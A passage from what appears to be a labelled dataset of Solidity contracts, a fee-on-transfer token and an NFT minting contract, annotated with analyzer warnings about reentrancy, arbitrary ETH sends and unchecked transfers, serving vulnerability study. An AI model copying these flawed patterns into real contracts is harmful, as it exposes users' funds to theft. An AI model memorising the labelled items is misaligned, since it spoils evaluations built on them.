b2aab8e\n\t\t\t// reentrancy-events | ID: be09b68\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e052b5f\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e052b5f\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b2aab8e\n\t\t// reentrancy-events | ID: be09b68\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b2aab8e\n\t\t// reentrancy-events | ID: 95a626e\n\t\t// reentrancy-events | ID: be09b68\n\t\t// reentrancy-benign | ID: c17c021\n\t\t// reentrancy-benign | ID: bf6da51\n\t\t// reentrancy-eth | ID: 6c464f8\n\t\t// reentrancy-eth | ID: e052b5f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: cd18238): Test.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for cd18238: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b2aab8e\n\t\t// reentrancy-events | ID: 95a626e\n\t\t// reentrancy-events | ID: be09b68\n\t\t// reentrancy-eth | ID: 6c464f8\n\t\t// reentrancy-eth | ID: e052b5f\n\t\t// arbitrary-send-eth | ID: cd18238\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b2aab8e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b2aab8e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c17c021): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c17c021: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 473f2b6): Test.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value desiredETHAmount}(address(this),_tTotal,0,desiredETHAmount,owner(),block.timestamp)\n\t// Recommendation for 473f2b6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d93e22d): Test.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d93e22d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ecca7fd): Test.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),_tTotal,0,0,owner(),block.timestamp)\n\t// Recommendation for ecca7fd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6c464f8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6c464f8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external payable onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-events | ID: b2aab8e\n\t\t// reentrancy-benign | ID: c17c021\n\t\t// unused-return | ID: d93e22d\n\t\t// reentrancy-eth | ID: 6c464f8\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n address wethAddress = uniswapV2Router.WETH();\n uint256 desiredETHAmount;\n\n uint256 wethBalance = IERC20(wethAddress).balanceOf(uniswapV2Pair);\n\n if (wethBalance > 0) {\n desiredETHAmount = address(this).balance.sub(wethBalance);\n\n uint256 tokenValue = _tTotal.mul(wethBalance).div(desiredETHAmount);\n\n\t\t\t// reentrancy-events | ID: b2aab8e\n\t\t\t// reentrancy-benign | ID: c17c021\n\t\t\t// reentrancy-eth | ID: 6c464f8\n _transfer(address(this), uniswapV2Pair, tokenValue);\n\n\t\t\t// reentrancy-eth | ID: 6c464f8\n IUniswapV2Pair(uniswapV2Pair).sync();\n\n\t\t\t// unused-return | ID: 473f2b6\n\t\t\t// reentrancy-eth | ID: 6c464f8\n uniswapV2Router.addLiquidityETH{value: desiredETHAmount}(\n address(this),\n _tTotal,\n 0,\n desiredETHAmount,\n owner(),\n block.timestamp\n );\n } else {\n\t\t\t// unused-return | ID: ecca7fd\n\t\t\t// reentrancy-eth | ID: 6c464f8\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n _tTotal,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n }\n\n\t\t// reentrancy-eth | ID: 6c464f8\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 6c464f8\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10570.sol",
"size_bytes": 22066,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC165 {\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n\ninterface IERC721 is IERC165 {\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n function balanceOf(address owner) external view returns (uint256 balance);\n\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n function approve(address to, uint256 tokenId) external;\n\n function getApproved(\n uint256 tokenId\n ) external view returns (address operator);\n\n function setApprovalForAll(address operator, bool _approved) external;\n\n function isApprovedForAll(\n address owner,\n address operator\n ) external view returns (bool);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n\ninterface IERC721Enumerable is IERC721 {\n function totalSupply() external view returns (uint256);\n\n function tokenOfOwnerByIndex(\n address owner,\n uint256 index\n ) external view returns (uint256 tokenId);\n\n function tokenByIndex(uint256 index) external view returns (uint256);\n}\n\ninterface IERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\ninterface IERC721Metadata is IERC721 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n\n function toString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n\n uint256 temp = value;\n\n uint256 digits;\n\n while (temp != 0) {\n digits++;\n\n temp /= 10;\n }\n\n bytes memory buffer = new bytes(digits);\n\n while (value != 0) {\n digits -= 1;\n\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n\n value /= 10;\n }\n\n return string(buffer);\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n\n uint256 temp = value;\n\n uint256 length = 0;\n\n while (temp != 0) {\n length++;\n\n temp >>= 8;\n }\n\n return toHexString(value, length);\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n\n value >>= 4;\n }\n\n require(value == 0, \"Strings: hex length insufficient\");\n\n return string(buffer);\n }\n}\n\nabstract contract ERC165 is IERC165 {\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n\n using Strings for uint256;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 => address) private _owners;\n\n mapping(address => uint256) private _balances;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function balanceOf(\n address owner\n ) public view virtual override returns (uint256) {\n require(\n owner != address(0),\n \"ERC721: address zero is not a valid owner\"\n );\n\n return _balances[owner];\n }\n\n function ownerOf(\n uint256 tokenId\n ) public view virtual override returns (address) {\n address owner = _ownerOf(tokenId);\n\n require(owner != address(0), \"ERC721: invalid token ID\");\n\n return owner;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n\n return\n bytes(baseURI).length > 0\n ? string(abi.encodePacked(baseURI, tokenId.toString()))\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner or approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: caller is not token owner or approved\"\n );\n\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: caller is not token owner or approved\"\n );\n\n _safeTransfer(from, to, tokenId, data);\n }\n\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n\n require(\n _checkOnERC721Received(from, to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _ownerOf(uint256 tokenId) internal view virtual returns (address) {\n return _owners[tokenId];\n }\n\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _ownerOf(tokenId) != address(0);\n }\n\n function _isApprovedOrOwner(\n address spender,\n uint256 tokenId\n ) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n\n return (spender == owner ||\n isApprovedForAll(owner, spender) ||\n getApproved(tokenId) == spender);\n }\n\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId, 1);\n\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n unchecked {\n _balances[to] += 1;\n }\n\n _owners[tokenId] = to;\n\n\t\t// reentrancy-events | ID: a98505b\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId, 1);\n }\n\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId, 1);\n\n owner = ERC721.ownerOf(tokenId);\n\n delete _tokenApprovals[tokenId];\n\n unchecked {\n _balances[owner] -= 1;\n }\n\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId, 1);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(\n ERC721.ownerOf(tokenId) == from,\n \"ERC721: transfer from incorrect owner\"\n );\n\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId, 1);\n\n require(\n ERC721.ownerOf(tokenId) == from,\n \"ERC721: transfer from incorrect owner\"\n );\n\n delete _tokenApprovals[tokenId];\n\n unchecked {\n _balances[from] -= 1;\n\n _balances[to] += 1;\n }\n\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId, 1);\n }\n\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n\n _operatorApprovals[owner][operator] = approved;\n\n emit ApprovalForAll(owner, operator, approved);\n }\n\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 96e9ad6): ERC721._checkOnERC721Received(address,address,uint256,bytes) has external calls inside a loop retval = IERC721Receiver(to).onERC721Received(_msgSender(),from,tokenId,data)\n\t// Recommendation for 96e9ad6: Favor pull over push strategy for external calls.\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n\t\t\t// reentrancy-events | ID: a98505b\n\t\t\t// calls-loop | ID: 96e9ad6\n\t\t\t// reentrancy-no-eth | ID: fa58576\n try\n IERC721Receiver(to).onERC721Received(\n _msgSender(),\n from,\n tokenId,\n data\n )\n returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 firstTokenId,\n uint256 batchSize\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 firstTokenId,\n uint256 batchSize\n ) internal virtual {}\n\n function __unsafe_increaseBalance(\n address account,\n uint256 amount\n ) internal {\n _balances[account] += amount;\n }\n}\n\nabstract contract ERC721Enumerable is ERC721, IERC721Enumerable {\n mapping(address => mapping(uint256 => uint256)) private _ownedTokens;\n\n mapping(uint256 => uint256) private _ownedTokensIndex;\n\n uint256[] private _allTokens;\n\n mapping(uint256 => uint256) private _allTokensIndex;\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IERC721Enumerable).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function tokenOfOwnerByIndex(\n address owner,\n uint256 index\n ) public view virtual override returns (uint256) {\n require(\n index < ERC721.balanceOf(owner),\n \"ERC721Enumerable: owner index out of bounds\"\n );\n\n return _ownedTokens[owner][index];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _allTokens.length;\n }\n\n function tokenByIndex(\n uint256 index\n ) public view virtual override returns (uint256) {\n require(\n index < ERC721Enumerable.totalSupply(),\n \"ERC721Enumerable: global index out of bounds\"\n );\n\n return _allTokens[index];\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 firstTokenId,\n uint256 batchSize\n ) internal virtual override {\n super._beforeTokenTransfer(from, to, firstTokenId, batchSize);\n\n if (batchSize > 1) {\n revert(\"ERC721Enumerable: consecutive transfers not supported\");\n }\n\n uint256 tokenId = firstTokenId;\n\n if (from == address(0)) {\n _addTokenToAllTokensEnumeration(tokenId);\n } else if (from != to) {\n _removeTokenFromOwnerEnumeration(from, tokenId);\n }\n\n if (to == address(0)) {\n _removeTokenFromAllTokensEnumeration(tokenId);\n } else if (to != from) {\n _addTokenToOwnerEnumeration(to, tokenId);\n }\n }\n\n function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {\n uint256 length = ERC721.balanceOf(to);\n\n _ownedTokens[to][length] = tokenId;\n\n _ownedTokensIndex[tokenId] = length;\n }\n\n function _addTokenToAllTokensEnumeration(uint256 tokenId) private {\n _allTokensIndex[tokenId] = _allTokens.length;\n\n\t\t// reentrancy-no-eth | ID: fa58576\n _allTokens.push(tokenId);\n }\n\n function _removeTokenFromOwnerEnumeration(\n address from,\n uint256 tokenId\n ) private {\n uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;\n\n uint256 tokenIndex = _ownedTokensIndex[tokenId];\n\n if (tokenIndex != lastTokenIndex) {\n uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];\n\n _ownedTokens[from][tokenIndex] = lastTokenId;\n\n _ownedTokensIndex[lastTokenId] = tokenIndex;\n }\n\n delete _ownedTokensIndex[tokenId];\n\n delete _ownedTokens[from][lastTokenIndex];\n }\n\n function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {\n uint256 lastTokenIndex = _allTokens.length - 1;\n\n uint256 tokenIndex = _allTokensIndex[tokenId];\n\n uint256 lastTokenId = _allTokens[lastTokenIndex];\n\n\t\t// reentrancy-no-eth | ID: fa58576\n _allTokens[tokenIndex] = lastTokenId;\n\n _allTokensIndex[lastTokenId] = tokenIndex;\n\n delete _allTokensIndex[tokenId];\n\n\t\t// reentrancy-no-eth | ID: fa58576\n _allTokens.pop();\n }\n}\n\nerror ApprovalCallerNotOwnerNorApproved();\n\nerror ApprovalQueryForNonexistentToken();\n\nerror ApproveToCaller();\n\nerror ApprovalToCurrentOwner();\n\nerror BalanceQueryForZeroAddress();\n\nerror MintToZeroAddress();\n\nerror MintZeroQuantity();\n\nerror OwnerQueryForNonexistentToken();\n\nerror TransferCallerNotOwnerNorApproved();\n\nerror TransferFromIncorrectOwner();\n\nerror TransferToNonERC721ReceiverImplementer();\n\nerror TransferToZeroAddress();\n\nerror URIQueryForNonexistentToken();\n\nerror IndexOutOfBounds();\n\nerror QueryForZeroAddress();\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _oldOwner;\n\n uint256 internal lastOwnershipTransfer;\n\n uint256 internal revokeWindow = 7 days;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function oldOwner() public view virtual returns (address) {\n return _oldOwner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner_ = _owner;\n\n _oldOwner = oldOwner_;\n\n _owner = newOwner;\n\n lastOwnershipTransfer = block.timestamp;\n\n emit OwnershipTransferred(oldOwner_, newOwner);\n }\n\n function revokeOwnership() public virtual {\n require(\n msg.sender == _oldOwner && msg.sender != _owner,\n \"Ownable: access denied\"\n );\n\n\t\t// timestamp | ID: 35c846c\n require(\n block.timestamp < lastOwnershipTransfer + revokeWindow,\n \"Ownable: revoke window has passed\"\n );\n\n _owner = _oldOwner;\n\n lastOwnershipTransfer = block.timestamp;\n\n emit OwnershipTransferred(_owner, _oldOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract UprisingNodes is ERC721Enumerable, Ownable {\n using Strings for uint256;\n\n uint256 public maxSalePlusOne = 2001;\n\n uint256 public initialPrice = 1500e6;\n\n uint256 public firstPriceIncrease = 1500e6;\n\n uint256 public priceIncrement = 0;\n\n uint16 public priceIncreaseStart = 10000;\n\n uint8 public increasePriceStep = 200;\n\n address public USDT;\n\n enum ContractState {\n OFF,\n ON\n }\n\n ContractState public contractState = ContractState.ON;\n\n string public baseURI;\n\n address public signer = 0x80E4929c869102140E69550BBECC20bEd61B080c;\n\n mapping(address => uint256) public nonce;\n\n struct Referrer {\n bool isActive;\n uint256 referrals;\n uint256 referralEarnings;\n }\n\n mapping(address => Referrer) public referrers;\n\n\t// WARNING Optimization Issue (constable-states | ID: a285808): UprisingNodes.referralPercentage should be constant \n\t// Recommendation for a285808: Add the 'constant' attribute to state variables that never change.\n uint256 referralPercentage = 500;\n\n bool public mandatoryReferral = false;\n\n constructor() ERC721(\"Uprising Nodes\", \"UN\") {\n USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;\n }\n\n modifier isContractState(ContractState contractState_) {\n require(contractState == contractState_, \"Invalid state\");\n\n _;\n }\n\n function isValidAccessMessage(\n address user,\n address referrer,\n uint256 discount,\n uint8 _v,\n bytes32 _r,\n bytes32 _s\n ) public view returns (bool) {\n bytes32 hash = keccak256(\n abi.encodePacked(\n address(this),\n user,\n referrer,\n discount,\n nonce[user]\n )\n );\n\n return\n signer ==\n ecrecover(\n keccak256(\n abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", hash)\n ),\n _v,\n _r,\n _s\n );\n }\n\n function tokenId() internal view returns (uint256) {\n return totalSupply() + 1;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a98505b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a98505b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: fa58576): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for fa58576: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 2646810): UprisingNodes.mint(uint256,address,uint256,uint8,bytes32,bytes32) ignores return value by IERC20(USDT).transferFrom(msg.sender,referrer,referralFee)\n\t// Recommendation for 2646810: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f20f205): The return value of an external 'transfer'/'transferFrom' call is not checked.\n\t// Recommendation for f20f205: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 143047a): UprisingNodes.mint(uint256,address,uint256,uint8,bytes32,bytes32).referralFee is a local variable never initialized\n\t// Recommendation for 143047a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function mint(\n uint256 quantity,\n address referrer,\n uint256 discount,\n uint8 _v,\n bytes32 _r,\n bytes32 _s\n ) external payable {\n require(\n referrers[referrer].isActive || !mandatoryReferral,\n \"Invalid Referrer!\"\n );\n\n require(\n isValidAccessMessage(msg.sender, referrer, discount, _v, _r, _s),\n \"Incorrect Signature!\"\n );\n\n nonce[msg.sender]++;\n\n uint256 referralFee;\n\n if (mandatoryReferral) {\n referralFee =\n (quantity *\n getPrice(totalSupply(), discount) *\n referralPercentage) /\n 10000;\n\n referrers[referrer].referrals++;\n\n referrers[referrer].referralEarnings += referralFee;\n\n\t\t\t// reentrancy-events | ID: a98505b\n\t\t\t// reentrancy-no-eth | ID: fa58576\n\t\t\t// unchecked-transfer | ID: 2646810\n IERC20(USDT).transferFrom(msg.sender, referrer, referralFee);\n }\n\n\t\t// reentrancy-events | ID: a98505b\n\t\t// reentrancy-no-eth | ID: fa58576\n\t\t// unchecked-transfer | ID: f20f205\n IERC20(USDT).transferFrom(\n msg.sender,\n address(this),\n (quantity * getPrice(totalSupply(), discount)) - referralFee\n );\n\n for (uint256 i; i < quantity; i++) {\n uint256 tid = tokenId();\n\n\t\t\t// reentrancy-events | ID: a98505b\n\t\t\t// reentrancy-no-eth | ID: fa58576\n _safeMint(msg.sender, tid);\n }\n\n if (!referrers[msg.sender].isActive) {\n\t\t\t// reentrancy-no-eth | ID: fa58576\n referrers[msg.sender].isActive = true;\n }\n }\n\n function mintReserved(address to, uint256 quantity) external onlyOwner {\n require(\n totalSupply() + quantity < 